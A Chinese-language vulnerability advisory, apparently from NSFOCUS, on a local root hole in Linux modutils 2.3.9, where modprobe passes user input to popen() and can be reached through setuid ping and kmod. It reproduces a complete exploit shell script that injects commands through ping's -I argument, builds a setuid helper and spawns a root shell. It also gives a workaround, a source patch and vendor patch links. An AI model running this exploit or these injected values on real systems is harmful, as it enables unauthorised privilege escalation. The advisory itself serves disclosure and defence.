linux可以防止命令执行漏洞,Linux modprobe执行任意命令漏洞

受影响系统:

GNU Linux modutils 2.3.9

+ S.u.S.E. Linux 7.0

+ S.u.S.E. Linux 6.4

+ RedHat Linux 7.0

不受影响系统:

GNU Linux modutils 2.3.11

描述:

绝大多数Linux系统都带有Modutils,用于可加载内核模块。其中modprobe用于加载与来自命令行的模块名相匹配的模块。Modprobe 2.3.9版(可能还包括前后临近的一些版本)存在一个漏洞,可以用于本地获取root权限。

问题在于为了回显用户输入的程序参数,modprobe调用popen()函数,popen()函数依赖/bin/sh解析命令行并执行"echo",如果用户输入带有某些可利用的shell控制字符,就可能导致其它命令被执行。

缺省安装后modprobe本身并未setuid-to-root,但是可以间接通过kmod利用该漏洞。

当通过request_module()调用请求加在一个模块的时候,Kmod自动执行modprobe。

RedHat Linux 7.0携带的ping程序具有这种特性。当命令行上指定设备不存在时,request_module()被调用,指定设备名作为参数传递进入内核。内核用这个参数执行modprobe。此时由于是root做popen()调用,所以很容易获取本地root权限。

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Michal Zalewski 提供了一个RedHat 7.0下的exploit code:

rh7-modprobe.sh

--------------------------------------------------------------------------

#!/bin/sh

echo

echo "RedHat 7.0 modutils exploit"

echo "(c) 2000 Michal Zalewski "

echo "Bug discovery: Sebastian Krahmer "

echo

echo "Do not have to work on older / non-RH systems. This bug has been"

echo "introduced recently. Enjoy :)"

echo

echo "This exploit is really hackish, because slashes are not allowed in"

echo "modprobe parameters, thus we have to play in modprobe's cwd (/)."

echo

PING=/bin/ping6

test -u $PING || PING=/bin/ping

if [ ! -u $PING ]; then

echo "Sorry, no setuid ping."

exit 0

fi

echo "Phase 1: making / world-writable..."

$PING -I ';chmod o+w .' 195.117.3.59 &>/dev/null

sleep 1

echo "Phase 2: compiling helper application in /..."

cat >/x.c <<_eof_>

main() {

setuid(0); seteuid(0);

system("chmod 755 /;rm -f /x; rm -f /x.c");

execl("/bin/bash","bash","-i",0);

}

_eof_

gcc /x.c -o /x

chmod 755 /x

echo "Phase 3: chown+chmod on our helper application..."

$PING -I ';chown 0 x' 195.117.3.59 &>/dev/null

sleep 1

$PING -I ';chmod +s x' 195.117.3.59 &>/dev/null

sleep 1

if [ ! -u /x ]; then

echo "Apparently, this is not exploitable on this system :("

exit 1

fi

echo "Voila! Entering rootshell..."

/x

echo "Thank you."

--------------------------------------------------------------------------

建议:

临时解决办法:

NSFOCUS建议您暂时去掉有问题的系统的ping的suid属性

厂商补丁:

1. 升级到GNU Linux modutils 2.3.11,它解决了这个问题

2. Keith Owens 提供了如下补丁:

GNU Linux modutils 2.3.9:

Index: 19.7/util/meta_expand.c

--- 19.7/util/meta_expand.c Sun, 10 Sep 2000 12:56:40 +1100 kaos (modutils-2.3/10_meta_expan 1.4 644)

+++ 19.7(w)/util/meta_expand.c Mon, 13 Nov 2000 21:19:41 +1100 kaos (modutils-2.3/10_meta_expan 1.4 644)

@@ -156,12 +156,8 @@ static int glob_it(char *pt, GLOB_LIST *

*/

int meta_expand(char *pt, GLOB_LIST *g, char *base_dir, char *version)

{

- FILE *fin;

- int len = 0;

- char *line = NULL;

char *p;

char tmpline[PATH_MAX + 1];

- char tmpcmd[PATH_MAX + 11];

g->pathc = 0;

g->pathv = NULL;

@@ -277,38 +273,6 @@ int meta_expand(char *pt, GLOB_LIST *g,

/* Only "=" remaining, should be module options */

split_line(g, pt, 0);

return 0;

- }

-

- /*

- * Last resort: Use "echo"

- */

- sprintf(tmpline, "%s%s", (base_dir ? base_dir : ""), pt);

- sprintf(tmpcmd, "/bin/echo %s", tmpline);

- if ((fin = popen(tmpcmd, "r")) == NULL) {

- error("Can't execute: %s", tmpcmd);

- return -1;

- }

- /* else */

-

- /*

- * Collect the result

- */

- while (fgets(tmpcmd, PATH_MAX, fin) != NULL) {

- int l = strlen(tmpcmd);

-

- line = (char *)xrealloc(line, len + l + 1);

- line[len] = '\0';

- strcat(line + len, tmpcmd);

- len += l;

- }

- pclose(fin);

-

- if (line) {

- /* Ignore result if no expansion occurred */

- strcat(tmpline, "\n");

- if (strcmp(tmpline, line))

- split_line(g, line, 0);

- free(line);

}

return 0;

3. S.u.S.E. 也提供了针对该漏洞的补丁:

i386 Intel Platform:

SuSE-7.0

ftp://ftp.suse.com/pub/suse/i386/update/7.0/a1/modules-2.3.11-73.i386.rpm

source rpm:

ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/modules.spm

SuSE-6.4

ftp://ftp.suse.com/pub/suse/i386/update/6.4/a1/modules-2.3.9-63.i386.rpm

source rpm:

ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/modules.spm

Sparc Platform:

SuSE-7.0

ftp://ftp.suse.com/pub/suse/sparc/update/7.0/a1/modules-2.3.11-73.sparc.rpm

source rpm:

ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/modules.spm

AXP Alpha Platform:

SuSE-6.4

ftp://ftp.suse.com/pub/suse/axp/update/6.4/a1/modules-2.3.9-63.alpha.rpm

source rpm:

ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/modules.spm

PPC Power PC Platform:

SuSE-7.0:

ftp://ftp.suse.com/pub/suse/ppc/update/7.0/a1/modules-2.3.11-73.ppc.rpm

source rpm:

ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/modules.spm

SuSE-6.4

ftp://ftp.suse.com/pub/suse/ppc/update/6.4/a1/modules-2.3.9-63.ppc.rpm

source rpm:

ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/modules.spm

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值